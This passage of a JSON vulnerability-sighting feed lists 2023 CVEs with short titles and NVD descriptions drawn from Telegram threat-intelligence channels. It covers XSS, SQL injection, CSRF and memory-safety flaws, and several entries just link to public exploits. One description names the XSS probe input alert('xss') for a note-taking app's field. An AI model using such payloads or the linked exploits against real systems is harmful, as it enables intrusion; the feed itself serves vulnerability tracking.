"creation_timestamp": "2023-12-30T11:06:39.000000Z"}, {"uuid": "b27739ac-afd9-4ab1-b76c-ac630f594513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48208", "type": "seen", "source": "https://t.me/ctinow/160850", "content": "https://ift.tt/X3Qvt7A\nCVE-2023-48208 | Availability Booking Calendar 5.0 index.php cross site scripting (ID 175805)", "creation_timestamp": "2023-12-30T11:06:37.000000Z"}, {"uuid": "e67e3477-48f5-4544-aaa7-867f2475886b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48773", "type": "seen", "source": "https://t.me/ctinow/159042", "content": "https://ift.tt/GdNgRCk\nCVE-2023-48773 | WooCommerce Login Redirect Plugin up to 2.2.4 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-24T15:26:25.000000Z"}, {"uuid": "a127a6ec-9fa6-4b70-9d74-1b030f423c70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48768", "type": "seen", "source": "https://t.me/ctinow/159041", "content": "https://ift.tt/vonFDtr\nCVE-2023-48768 | CodeAstrology Button for WooCommerce Plugin up to 1.1.9 on WordPress wqpmb_form_submit cross-site request forgery", "creation_timestamp": "2023-12-24T15:26:24.000000Z"}, {"uuid": "4fc7502d-ab6b-4142-b63a-5e048af23ff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4881", "type": "seen", "source": "https://t.me/cibsecurity/70210", "content": "\u203c CVE-2023-4881 \u203c\n\nA stack based out-of-bounds write flaw was found in the netfilter subsystem in the Linux kernel. If the expression length is a multiple of 4 (register size), the `nft_exthdr_eval` family of functions writes 4 NULL bytes past the end of the `regs` argument, leading to stack corruption and potential information disclosure or a denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-11T20:27:59.000000Z"}, {"uuid": "196983c5-da3c-4e4a-bfa4-2f2cda461205", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48860", "type": "seen", "source": "https://t.me/ctinow/160888", "content": "https://ift.tt/yv0DRYr\nCVE-2023-48860 | Totolink N300RT 3.2.4-B20180730.0906 access control", "creation_timestamp": "2023-12-30T15:01:58.000000Z"}, {"uuid": "b80fa30b-aae0-4015-b8e6-6b0255f357a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48417", "type": "seen", "source": "https://t.me/ctinow/161280", "content": "https://ift.tt/p0bPh2H\nCVE-2023-48417 | Google Android KeyChainActivity App permission", "creation_timestamp": "2024-01-01T12:02:07.000000Z"}, {"uuid": "bcc741d6-c332-4e56-90e3-e06e4b8b4a36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48652", "type": "seen", "source": "https://t.me/ctinow/159174", "content": "https://ift.tt/Vv8NJAL\nCVE-2023-48652", "creation_timestamp": "2023-12-25T09:31:23.000000Z"}, {"uuid": "54d8ef78-b435-402b-a9c5-5b36a82f7e95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48409", "type": "seen", "source": "https://t.me/ctinow/161089", "content": "https://ift.tt/PURSaM8\nCVE-2023-48409 | Google Android mali_kbase_core_linux.c gpu_pixel_handle_buffer_liveness_update_ioctl out-of-bounds write", "creation_timestamp": "2023-12-31T14:11:22.000000Z"}, {"uuid": "ffd82e3c-4cd3-45b3-a0d5-ad8c8011fd1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48416", "type": "seen", "source": "https://t.me/ctinow/161087", "content": "https://ift.tt/eEVh6QK\nCVE-2023-48416 | Google Android denial of service", "creation_timestamp": "2023-12-31T14:11:19.000000Z"}, {"uuid": "a8eb0ff6-ce73-4519-b32c-d9df1ad26a51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48722", "type": "seen", "source": "https://t.me/ctinow/160650", "content": "https://ift.tt/GnlVKZa\nCVE-2023-48722 Exploit", "creation_timestamp": "2023-12-29T19:16:41.000000Z"}, {"uuid": "c46b2778-98ac-420d-9ee2-591bd9bbc839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48233", "type": "seen", "source": "https://t.me/ctinow/159649", "content": "https://ift.tt/Y2tFxg1\nCVE-2023-48233 Vim Vulnerability in NetApp Products", "creation_timestamp": "2023-12-27T15:32:25.000000Z"}, {"uuid": "375b0ea9-7079-454c-9508-52ca73b66ad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48236", "type": "seen", "source": "https://t.me/ctinow/159650", "content": "https://ift.tt/SfVUPXh\nCVE-2023-48236 Vim Vulnerability in NetApp Products", "creation_timestamp": "2023-12-27T15:32:27.000000Z"}, {"uuid": "3f9bbab7-ec1f-4e48-9795-2ef3e3f62f0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48425", "type": "seen", "source": "https://t.me/ctinow/161292", "content": "https://ift.tt/Jb8hU6k\nCVE-2023-48425 | Google Android U-Boot Privilege Escalation", "creation_timestamp": "2024-01-01T12:36:46.000000Z"}, {"uuid": "2e38dc23-b9fa-4865-94b6-248732ce8bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48397", "type": "seen", "source": "https://t.me/ctinow/161077", "content": "https://ift.tt/iLEOjQH\nCVE-2023-48397 | Google Android protocolcalladapter.cpp Init information disclosure", "creation_timestamp": "2023-12-31T13:16:52.000000Z"}, {"uuid": "b6383085-1561-47be-8f96-e3cf8d9320c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48423", "type": "seen", "source": "https://t.me/ctinow/161076", "content": "https://ift.tt/X8CEOoU\nCVE-2023-48423 | Google Android kernel dhcp4_Main.c dhcp4_SetPDNAddress out-of-bounds write", "creation_timestamp": "2023-12-31T13:16:51.000000Z"}, {"uuid": "9bf98d1e-7caf-4645-a4e2-5ad5e6cf10b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48834", "type": "seen", "source": "https://t.me/ctinow/160871", "content": "https://ift.tt/PrRYwp8\nCVE-2023-48834 | PHP Jabbers Car Rental 3.0 pjActionAjaxSend resource consumption (ID 176043)", "creation_timestamp": "2023-12-30T13:37:03.000000Z"}, {"uuid": "f0712f6f-e973-4266-a36a-83ca65a5472b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48833", "type": "seen", "source": "https://t.me/ctinow/160870", "content": "https://ift.tt/vLJ7hZt\nCVE-2023-48833 | PHP Jabbers Time Slots Booking Calendar 4.0 pjActionAJaxSend resource consumption (ID 176042)", "creation_timestamp": "2023-12-30T13:37:01.000000Z"}, {"uuid": "c4f562e9-719e-496f-ad10-52d6942cbb2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48718", "type": "seen", "source": "https://t.me/ctinow/160652", "content": "https://ift.tt/ipgmB47\nCVE-2023-48718 Exploit", "creation_timestamp": "2023-12-29T19:16:44.000000Z"}, {"uuid": "dabd3b68-dae6-4e79-b871-87ff83c037be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48720", "type": "seen", "source": "https://t.me/ctinow/160651", "content": "https://ift.tt/sqOXuBp\nCVE-2023-48720 Exploit", "creation_timestamp": "2023-12-29T19:16:43.000000Z"}, {"uuid": "6a1fbbb6-5e5a-496b-961a-29874a14010e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48579", "type": "seen", "source": "https://t.me/ctinow/163919", "content": "https://ift.tt/b8XJpke\nCVE-2023-48579 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T12:56:56.000000Z"}, {"uuid": "6c8399c7-ca0c-4c11-a611-32141454f2fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48573", "type": "seen", "source": "https://t.me/ctinow/163910", "content": "https://ift.tt/bfz0BFQ\nCVE-2023-48573 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T11:26:13.000000Z"}, {"uuid": "f60e7778-d0ee-4880-95a7-9a5382d42541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48893", "type": "seen", "source": "https://t.me/ctinow/157926", "content": "https://ift.tt/2hxzlOm\nCVE-2023-48893 | Senayan SLiMS 9.6.1 staff_act.php sql injection (Issue 209)", "creation_timestamp": "2023-12-21T20:11:38.000000Z"}, {"uuid": "9f87f168-8487-4d56-ba8b-d0b96de3d1a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48813", "type": "seen", "source": "https://t.me/ctinow/157925", "content": "https://ift.tt/myY5cOz\nCVE-2023-48813 | Senayan SLiMS 9.6.1 fines_report.php sql injection (ID 217)", "creation_timestamp": "2023-12-21T20:11:37.000000Z"}, {"uuid": "d4dd349d-0e0e-4ca3-b9cf-8a82a53de6c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48894", "type": "seen", "source": "https://t.me/ctinow/157739", "content": "https://ift.tt/ynNhFJ0\nCVE-2023-48894 | jshERP 3.3 doFilter access control (Issue 98)", "creation_timestamp": "2023-12-21T15:11:40.000000Z"}, {"uuid": "2732422e-d6aa-4cab-89cb-aa02d9484a47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48414", "type": "seen", "source": "https://t.me/ctinow/161100", "content": "https://ift.tt/fRSKj5z\nCVE-2023-48414 | Google Android kernel Pixel Camera Driver use after free", "creation_timestamp": "2023-12-31T14:41:27.000000Z"}, {"uuid": "4b5db540-1403-4614-9b3d-c3d8804189a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48412", "type": "seen", "source": "https://t.me/ctinow/161099", "content": "https://ift.tt/gymenh5\nCVE-2023-48412 | Google Android mali_gralloc_buffer.h private_handle_t information disclosure", "creation_timestamp": "2023-12-31T14:41:26.000000Z"}, {"uuid": "f379f2b8-9168-4145-9138-35b74e6ca907", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48122", "type": "seen", "source": "https://t.me/ctinow/161046", "content": "https://ift.tt/SpBUl4y\nCVE-2023-48122 | Microweber 2.0.1/2.0.2/2.0.3 HTTP GET Request information disclosure (Issue 1042)", "creation_timestamp": "2023-12-31T10:16:51.000000Z"}, {"uuid": "c8a54af8-ace9-4a36-ad39-567f8a5a3472", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48929", "type": "seen", "source": "https://t.me/ctinow/161040", "content": "https://ift.tt/VwWBQMv\nCVE-2023-48929 | Franklin Fueling Systems System Sentinel AnyWare 1.6.24.492 group_status.asp sid session fixiation", "creation_timestamp": "2023-12-31T09:46:34.000000Z"}, {"uuid": "2d152151-5ed3-4746-a400-9208f589e11c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48928", "type": "seen", "source": "https://t.me/ctinow/161039", "content": "https://ift.tt/QBbXhNE\nCVE-2023-48928 | Franklin Fueling Systems System Sentinel AnyWare 1.6.24.492 URL prefs.asp path redirect", "creation_timestamp": "2023-12-31T09:46:33.000000Z"}, {"uuid": "c16dc5ee-f00c-4746-bf0b-2b4c6c990cb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48311", "type": "seen", "source": "https://t.me/ctinow/161125", "content": "https://ift.tt/Qpx0Jz8\nCVE-2023-48311 | DockerSpawner prior 13.0.0 Image input validation", "creation_timestamp": "2023-12-31T16:46:40.000000Z"}, {"uuid": "2a5441d4-6b4f-4fa3-b608-5c8ecdb43bbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48407", "type": "seen", "source": "https://t.me/ctinow/161106", "content": "https://ift.tt/tCHGeiY\nCVE-2023-48407 | Google Android Factory Reset information disclosure", "creation_timestamp": "2023-12-31T15:16:40.000000Z"}, {"uuid": "efe08248-d2c5-4384-8aeb-dc368d4cf5ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48406", "type": "seen", "source": "https://t.me/ctinow/161105", "content": "https://ift.tt/65XqoU7\nCVE-2023-48406 | Google Android Modem denial of service", "creation_timestamp": "2023-12-31T15:16:39.000000Z"}, {"uuid": "5205c3e5-f0ad-407f-9b68-a41acf2d9e55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48402", "type": "seen", "source": "https://t.me/ctinow/161104", "content": "https://ift.tt/0x14MWJ\nCVE-2023-48402 | Google Android ppcfw.c ppcfw_enable permission", "creation_timestamp": "2023-12-31T15:16:37.000000Z"}, {"uuid": "fe6ab37f-f186-4caf-b60c-284af14b9618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48420", "type": "seen", "source": "https://t.me/ctinow/161103", "content": "https://ift.tt/aoWmNY7\nCVE-2023-48420 | Google Android use after free", "creation_timestamp": "2023-12-31T15:16:36.000000Z"}, {"uuid": "4732449b-7079-4430-b3d9-e2b9bbf7c5c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48826", "type": "seen", "source": "https://t.me/ctinow/160866", "content": "https://ift.tt/TaL6gre\nCVE-2023-48826 | PHP Jabbers Time Slots Booking Calendar 4.0 Reservations List csv injection (ID 176034)", "creation_timestamp": "2023-12-30T13:07:23.000000Z"}, {"uuid": "4f676707-3d85-4dc7-aa57-0b9514ae2de9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48830", "type": "seen", "source": "https://t.me/ctinow/160863", "content": "https://ift.tt/81ZVjAm\nCVE-2023-48830 | Shuttle Booking Software 2.0 Languages Section csv injection (ID 176038)", "creation_timestamp": "2023-12-30T12:31:38.000000Z"}, {"uuid": "309171fb-8dab-406d-8750-0393d5e41495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4816", "type": "seen", "source": "https://t.me/cibsecurity/70201", "content": "\u203c CVE-2023-4816 \u203c\n\nA vulnerability exists in the Equipment Tag Out authentication, when configured with Single Sign-On (SSO) with password validation in T214. This vulnerability can be exploited by an authenticated user per-forming an Equipment Tag Out holder action (Accept, Release, and Clear) for another user and entering an arbitrary password in the holder action confirmation dialog box. Despite entering an arbitrary password in the confirmation box, the system will execute the selected holder action.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-11T12:22:15.000000Z"}, {"uuid": "e49b7e71-d533-4d3a-945e-19b3d4c4dec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4879", "type": "seen", "source": "https://t.me/cibsecurity/70183", "content": "\u203c CVE-2023-4879 \u203c\n\nCross-site Scripting (XSS) - Stored in GitHub repository instantsoft/icms2 prior to 2.16.1.-git.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-10T22:21:29.000000Z"}, {"uuid": "7e71976d-2287-4bae-9d23-af19fd2878bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4878", "type": "seen", "source": "https://t.me/cibsecurity/70182", "content": "\u203c CVE-2023-4878 \u203c\n\nServer-Side Request Forgery (SSRF) in GitHub repository instantsoft/icms2 prior to 2.16.1-git.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-10T22:21:28.000000Z"}, {"uuid": "11f43481-f8ee-40e2-9f58-0acf91bb7368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48824", "type": "seen", "source": "https://t.me/ctinow/160886", "content": "https://ift.tt/zmVMIvp\nCVE-2023-48824 | BoidCMS 2.0.1 title/subtitle/footer/keywords cross site scripting (ID 176031)", "creation_timestamp": "2023-12-30T15:01:55.000000Z"}, {"uuid": "476ffd7d-0592-477b-85a1-c1ae91076e61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48836", "type": "seen", "source": "https://t.me/ctinow/160883", "content": "https://ift.tt/aXCeSuR\nCVE-2023-48836 | PHP Jabbers Car Rental Script 3.0 cross site scripting (ID 176046)", "creation_timestamp": "2023-12-30T14:31:48.000000Z"}, {"uuid": "17742b69-bf48-417e-9a46-3906cc8ce2e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48828", "type": "seen", "source": "https://t.me/ctinow/160882", "content": "https://ift.tt/oJERjpl\nCVE-2023-48828 | PHP Jabbers Time Slots Booking Calendar 4.0 cross site scripting (ID 176037)", "creation_timestamp": "2023-12-30T14:31:47.000000Z"}, {"uuid": "d20bbd74-b445-4067-adef-652c6bb4a4f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48825", "type": "seen", "source": "https://t.me/ctinow/160881", "content": "https://ift.tt/8UCXf1J\nCVE-2023-48825 | Availability Booking Calendar 5.0 SMS API Key/Default Country Code cross site scripting (ID 176033)", "creation_timestamp": "2023-12-30T14:31:46.000000Z"}, {"uuid": "cd5dbe09-6ffd-437e-8e96-b9ec74ef2d14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48685", "type": "seen", "source": "https://t.me/ctinow/160609", "content": "https://ift.tt/yp38HMu\nCVE-2023-48685 Exploit", "creation_timestamp": "2023-12-29T17:17:14.000000Z"}, {"uuid": "502bcdd9-d192-4d20-b92f-7d2daf71036e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48686", "type": "seen", "source": "https://t.me/ctinow/160608", "content": "https://ift.tt/ORYaqTV\nCVE-2023-48686 Exploit", "creation_timestamp": "2023-12-29T17:17:13.000000Z"}, {"uuid": "4eb9bccc-34c2-4733-b3f8-722862cbe512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48687", "type": "seen", "source": "https://t.me/ctinow/160607", "content": "https://ift.tt/G80Tglw\nCVE-2023-48687 Exploit", "creation_timestamp": "2023-12-29T17:17:11.000000Z"}, {"uuid": "a649af12-efe2-49c0-91fa-51f07e9e2d9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48688", "type": "seen", "source": "https://t.me/ctinow/160606", "content": "https://ift.tt/GW7YcaB\nCVE-2023-48688 Exploit", "creation_timestamp": "2023-12-29T17:17:10.000000Z"}, {"uuid": "c08a821b-c728-46dd-b498-1ffe68b05d62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48689", "type": "seen", "source": "https://t.me/ctinow/160605", "content": "https://ift.tt/TSnDaQF\nCVE-2023-48689 Exploit", "creation_timestamp": "2023-12-29T17:17:09.000000Z"}, {"uuid": "95c57233-93ad-4b9f-9c8a-0e03f8a3d3c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48690", "type": "seen", "source": "https://t.me/ctinow/160604", "content": "https://ift.tt/UNkmpZ3\nCVE-2023-48690 Exploit", "creation_timestamp": "2023-12-29T17:17:08.000000Z"}, {"uuid": "5ba9c36d-e0ce-47fd-886b-dba8ac1224d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48716", "type": "seen", "source": "https://t.me/ctinow/160603", "content": "https://ift.tt/2utw03D\nCVE-2023-48716 Exploit", "creation_timestamp": "2023-12-29T17:17:07.000000Z"}, {"uuid": "5129814c-7d82-4fc3-a8a0-d94554d68dfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48717", "type": "seen", "source": "https://t.me/ctinow/160602", "content": "https://ift.tt/4iQ8OPx\nCVE-2023-48717 Exploit", "creation_timestamp": "2023-12-29T17:17:05.000000Z"}, {"uuid": "ed6bb41d-3557-4e33-8363-5bcf414801c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48172", "type": "seen", "source": "https://t.me/ctinow/160846", "content": "https://ift.tt/EHmtN0s\nCVE-2023-48172 | Shuttle Booking Software 2.0 index.php name/description/title/address cross site scripting (ID 175800)", "creation_timestamp": "2023-12-30T10:36:40.000000Z"}, {"uuid": "08c82164-5d18-421c-b24d-0af0b7872547", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48123", "type": "seen", "source": "https://t.me/ctinow/160840", "content": "https://ift.tt/U9w3ZTP\nCVE-2023-48123 | Netgate pfSense Plus/pfSense CE WebGUI diag_packet_capture.php count/length os command injection (Issue 14809)", "creation_timestamp": "2023-12-30T10:06:39.000000Z"}, {"uuid": "4babc0c6-0b24-4df8-a082-d5e8d5a8a607", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4865", "type": "seen", "source": "https://t.me/cibsecurity/70180", "content": "\u203c CVE-2023-4865 \u203c\n\nA vulnerability has been found in SourceCodester Take-Note App 1.0 and classified as problematic. This vulnerability affects unknown code. The manipulation leads to cross-site request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-239350 is the identifier assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-10T02:20:46.000000Z"}, {"uuid": "18a5bf87-76c9-4e5c-9383-e10050395b57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4864", "type": "seen", "source": "https://t.me/cibsecurity/70179", "content": "\u203c CVE-2023-4864 \u203c\n\nA vulnerability, which was classified as problematic, was found in SourceCodester Take-Note App 1.0. This affects an unknown part of the file index.php. The manipulation of the argument noteContent with the input alert('xss') leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-239349 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-10T00:20:44.000000Z"}, {"uuid": "5f328997-0fb6-457f-a848-e9835e70a925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48315", "type": "seen", "source": "https://t.me/ctinow/158764", "content": "https://ift.tt/pSDCzlO\nCVE-2023-48315 | azure-rtos netxduo up to 6.2.1 expired pointer dereference (GHSA-rj6h-jjg2-7gf3)", "creation_timestamp": "2023-12-23T10:21:56.000000Z"}, {"uuid": "b8bf6b75-5af7-4c91-9c28-e6fb5694f818", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48698", "type": "seen", "source": "https://t.me/ctinow/158763", "content": "https://ift.tt/v7R0AxM\nCVE-2023-48698 | azure-rtos usbx up to 6.2.1 unusual condition (GHSA-grhp-f66q-x857)", "creation_timestamp": "2023-12-23T10:21:55.000000Z"}, {"uuid": "3e8f10ec-cfaf-4da6-b2ff-6eaede6a30a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4850", "type": "seen", "source": "https://t.me/cibsecurity/70177", "content": "\u203c CVE-2023-4850 \u203c\n\nA vulnerability, which was classified as critical, was found in IBOS OA 4.5.5. This affects an unknown part of the file ?r=dashboard/position/del. The manipulation leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-239259.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-09T16:20:28.000000Z"}, {"uuid": "92a3d8f7-a9af-455d-ac15-1a13fa678dbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4851", "type": "seen", "source": "https://t.me/cibsecurity/70176", "content": "\u203c CVE-2023-4851 \u203c\n\nA vulnerability has been found in IBOS OA 4.5.5 and classified as critical. This vulnerability affects unknown code of the file ?r=dashboard/position/edit&op=member. The manipulation leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-239260.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-09T16:20:27.000000Z"}, {"uuid": "ae783acb-6bb2-4510-b145-8bfd96466d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4847", "type": "seen", "source": 